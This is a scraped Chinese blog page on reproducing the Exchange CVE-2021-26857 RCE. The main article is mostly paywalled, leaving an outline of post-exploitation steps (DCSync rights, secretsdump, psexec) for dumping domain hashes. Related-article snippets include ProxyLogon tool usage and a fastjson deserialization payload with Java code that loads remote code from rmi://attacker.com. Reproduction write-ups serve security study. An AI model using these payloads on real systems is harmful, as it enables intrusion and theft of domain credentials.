exchange最新无条件RCE复现

最新推荐文章于 2023-10-23 23:19:27 发布
最新推荐文章于 2023-10-23 23:19:27 发布
阅读量1.7k 收藏 3
点赞数
分类专栏： 红蓝对抗-攻防安全 web漏洞复现 文章标签： exchange
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_38376348/article/details/114806831
版权
本文档详细介绍了CVE-2021-26857漏洞的复现过程，包括漏洞编号、攻击环境和服务器shell路径。首先，该漏洞允许攻击者通过写Dcsync ACL给指定域用户来导出域控哈希。环境部分提及了域控和Exchange 2016服务器的IP地址。接着，攻击步骤中提到了如何利用exp执行和验证攻击效果。最后，给出了服务器上相应shell路径的默认位置。
摘要由CSDN通过智能技术生成

目录

漏洞编号：

环境

攻击

对应服务器shell路径

漏洞编号：

CVE-2021-26857

后续利用：写Dcsync ACL给指定域用户，导出域控哈希（secretdump.py），连接域控(psexec.py)

环境

域控ip:10.211.55.3 

exchange2016 ip:10.211.55.8

访问邮箱：

攻击

执行exp

域管邮箱

邮箱添加的普通域用户

了解本专栏 订阅专栏 解锁全文 超级会员免费看
Adsatrtgo
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
订阅专栏
Exchange SSRF 域内提权漏洞复现(CVE-2018-8581)
谢公子的博客
07-01 4007
漏洞描述 Exchange Server于2018年11月份被爆出存在SSRF漏洞，可以伪造任意用户。但在之后又被爆出另外一种攻击方式，可以使用任意域内用户通过NTML Relay来接管域控！攻击者仅需要拥有一个普通域内用户权限即可对存在漏洞的Exchange服务器发起攻击，进而接管域控。 漏洞影响版本 Exchange 2010 ~ Exchange 2016 漏洞过程 Exchange允许任何用户为推送订阅指定所需的URL，服务器将尝试向这个URL发送通知。问题出在Excha...
【已复现】Microsoft Exchange Server "OWASSRF" 漏洞安全风险通告
smellycat000的专栏
12-26 2089
奇安信CERT致力于第一时间为企业级用户提供安全风险通告和有效解决方案。安全通告Microsoft Exchange Server是微软公司的一套电子邮件服务组件。除传统的电子邮件的存取、储存、转发功能外，在新版本的产品中亦加入了一系列辅助功能，如语音邮件、邮件过滤筛选和OWA（基于Web的电子邮件存取）。近日，奇安信CERT监测到CrowdStrike发布针对Microsoft Exchange...
Exchange漏洞
Fiverya的博客
02-07 2495
Exchange漏洞
CVE-2020-16875：Microsoft Exchange RCE复现
荒野求生的博客
11-19 1427
https://my.oschina.net/u/4593034/blog/4632168 0x01 简介 Microsoft Exchange Server 是个消息与协作系统。Exchange server可以被用来构架应用于企业、学校的邮件系统或免费邮件系统。它还是一个协作平台。你可以在此基础上开发工作流，知识管理系统，Web系统或者是其他消息系统。 0x02 漏洞概述 由于对cmdlet参数的验证不正确，Microsoft Exchange服务器中存在一个远程执行代码...
微软修复了 IE 和 Exchange 的 0day 漏洞
weixin_33725722的博客
02-14 109
开发四年只会写业务代码，分布式高并发都不会还做程序员？ 微软12号发布的例行安全更新修复了正在被利用的一个 IE 0d...
[Timeline Sec] - CVE-2020-16875：Microsoft Exchange RCE复现1
08-03
【CVE-2020-16875：Microsoft Exchange RCE复现】这篇文章讲述了Microsoft Exchange Server中存在的一种远程代码执行（RCE）漏洞，该漏洞可能导致恶意攻击者在系统用户上下文中运行任意代码。文章由作者zhang0b@...
CVE-2021-26855：Exchange SSRF致RCE复现
m0_48520508的博客
04-21 1248
0x00 简介 Exchange Server是微软公司的是一套电子邮件服务组件，是个消息与协作系统，主要提供包括从电子邮件、会议安排、团体日程管理、任务管理、文档管理、实时会议和工作流等协作应用。 0x01 漏洞概述 该漏洞是Exchange中的服务端请求伪造漏洞（SSRF），利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证，远程未授权的攻击者可以利用该漏洞以进行内网探测，并可以用于窃取用户邮箱的全部内容。 危害：该漏洞是Exchange中的服务端请求伪造漏洞（SS.
锐捷rce复现漏洞
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
11-16 1079
​锐捷 rce复现，请求路径/guest_auth/guestIsUp.php //锐捷rce复现漏洞 锐捷rce漏洞文件
CVE-2021-26855 Exchange Server SSRF致RCE漏洞复现
m0_56642842的博客
08-05 753
0x00 简介 Exchange Server 是Mirosoft的一个消息与协作系统，可以用来构架用于企业或学校的邮件系统或免费邮件系统。它提供了包括从电子邮件、会议安排、团体日程管理、任务管理、文档管理实时会议和工作流等丰富的协作应用，而所有应用支持Internet浏览器来访问。 0x01 漏洞概况 该漏洞可在Exchange中构造SSRF漏洞，攻击者可以利用该漏洞构造任意HTTP请求并绕过EXchange Server身份验证，从而利用该漏洞窃取用户邮箱中的内容或进行内网探测。 0x02 影响版本
ProxyLogon:ProxyLogon（CVE-2021-26855 + CVE-2021-27065）Exchange Server RCE（SSRF-> GetWebShell）
03-25
适用于Python3的ProxyLogon ProxyLogon（CVE-2021-26855 + CVE-2021-27065）Exchange Server RCE（SSRF-> GetWebShell） usage : python ProxyLogon . py - - host = exchange . com - - mail = admin @ exchange . com python ProxyLogon . py - - host = exchange . com - - mails = . / mails . txt args : - - host : target ' s address . - - mail : exists user ' s mail . - - mails : mails file .
(环境搭建+复现)CVE-2021-26855 2021年3月 Exchange Server RCE 复现
daxi0ng的博客
03-16 6853
0x00 简介 Exchange Server是微软公司的是一套电子邮件服务组件，是个消息与协作系统，主要提供包括从电子邮件、会议安排、团体日程管理、任务管理、文档管理、实时会议和工作流等协作应用。 0x01 漏洞概述 CVE-2021-26855 该漏洞是Exchange中的服务端请求伪造漏洞（SSRF），利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证，远程未授权的攻击者可以利用该漏洞以进行内网探测，并可以用于窃取用户邮箱的全部内容。 危害：该漏洞是Exch
CVE-2020-17144 Exchange RCE漏洞
谢公子的博客
07-23 3877
目录 漏洞背景 漏洞影响版本 漏洞复现 exp1 exp2 漏洞修复 漏洞背景 在微软最新发布的12月安全更新中公布了一个存在于 Microsoft Exchange Server 2010中的远程代码执行漏洞（CVE-2020-17144），官方定级 Important。该漏洞是由程序未正确校验cmdlet参数引起，经过身份验证的攻击者利用该漏洞可实现远程代码执行。该漏洞和 CVE-2020-0688 类似，也需要登录后才能利用，不过在利用时无需明文密码，只要具备 NTHash 即可。除了
[漏洞复现]CVE-2021-26855 漏洞复现及Exchange邮箱详细安装过程
网络安全知识分享
03-27 6632
CVE-2021-26855 漏洞复现及Exchange邮箱详细安装过程 一、介绍 Exchange Server 是微软公司的一套电子邮件服务组件，是个消息与协作系统。2021年03月3日，微软官方发布了Microsoft Exchange安全更新，披露了多个高危严重漏洞，其中：在 CVE-2021-26855 Exchange SSRF漏洞中，攻击者可直接构造恶意请求，以Exchange server的身份发起任意HTTP请求，扫描内网，并且可获取Exchange用户信息。该漏洞利用无需身份认证。 影响
Microsoft Exchange 内网地址泄露漏洞复现与缓解方案
Vitaminapple的博客
04-23 683
该漏洞是在确实host头访问的情况下可泄露Exchange的内网IP地址，直接危害不大，但有需要解决这个问题的可以参考下。
Exchange漏洞分析：SSRF RCE
Galaxy_0的博客
01-10 452
Exchange漏洞分析：SSRF RCE
CVE-2020-16875 Exchange RCE漏洞
谢公子的博客
07-23 6966
漏洞背景 2020年09月08日微软发布漏洞通告：CVE-2020-16875 | Microsoft Exchange Server 远程执行代码漏洞 由于对cmdlet参数的验证不正确，Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用该漏洞，攻击者可从特定 Exchange 用户提升到操作系统 SYSTEM 权限，攻击者首先需获得特定权限的邮箱用户(拥有Data Loss Prevention角色权限的用户)，该用
Microsoft Exchange 高危漏洞合集
02-06 933
Microsoft Exchange任意用户伪造漏洞(CVE-2018-8581) 参考链接：https://blog.51cto.com/13741006/2347487?from=timeline CVE-2019-1040 Exchange服务远程代码执行漏洞复现(CVE-2020-0688) 参考文章：http://www.fr1sh.com/?post=24 Microsoft...
CVE-2022-41082：Microsoft Exchange 反序列化类型混淆 RCE 漏洞简单分析
最新发布
CuiXY's Blog
10-23 1099
内嵌对象处理完成之后，接下来进一步反序列化 ServiceController 对象，但由于 ServiceController 在 types.ps1xml 中并没有定义 TargetTypeForDeserialization 信息，所以会在 Props 标签内嵌的 obj 中寻找 TargetTypeForDeserialization 属性，从而将反序列化的属性定义为 XamlReader，然后就会调用其 Parse 方法反序列化 S 标签中的数据。
fastjson rce复现
08-09
fastjson是一款流行的Java JSON库，但因其在解析JSON中的不安全行为而存在远程代码执行（RCE）漏洞。为了复现该漏洞，我们可以按照以下步骤进行操作： 第一步是选择一个适当的fastjson版本，建议使用较早的版本，因为新的版本通常会修复漏洞。将fastjson库添加到Java项目的依赖中。 第二步是创建一个恶意JSON字符串，该字符串中包含能够触发RCE漏洞的payload。例如，可以使用如下的JSON字符串： ``` { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://attacker.com:1099/Exploit", "autoCommit":true } ``` 在这个例子中，我们使用了`com.sun.rowset.JdbcRowSetImpl`类作为目标，其中连接地址指向攻击者控制的RMI服务器，用于向受害系统发送恶意代码。 第三步是编写Java代码，并将上一步创建的JSON字符串作为输入传递给fastjson的解析器。以下是一个简单的示例： ```java import com.alibaba.fastjson.JSON; public class FastjsonRce { public static void main(String[] args) { String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://attacker.com:1099/Exploit\",\"autoCommit\":true}"; Object parsedObject = JSON.parse(maliciousJson); } } ``` 在这个示例中，我们使用`JSON.parse`方法将JSON字符串解析为一个对象。fastjson在解析时会实例化目标类，并调用其构造函数和setter方法，从而导致RCE漏洞的利用。 第四步是运行上述Java代码，并观察是否成功复现了RCE漏洞。如果目标系统受到fastjson的漏洞影响，恶意代码会在解析过程中被执行，从而使攻击者可以远程控制该系统。 需要注意的是，复现fastjson RCE漏洞仅用于研究和教育目的，并且应在法律合规和授权的情况下进行。漏洞利用是非法行为，可能导致严重的法律后果。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值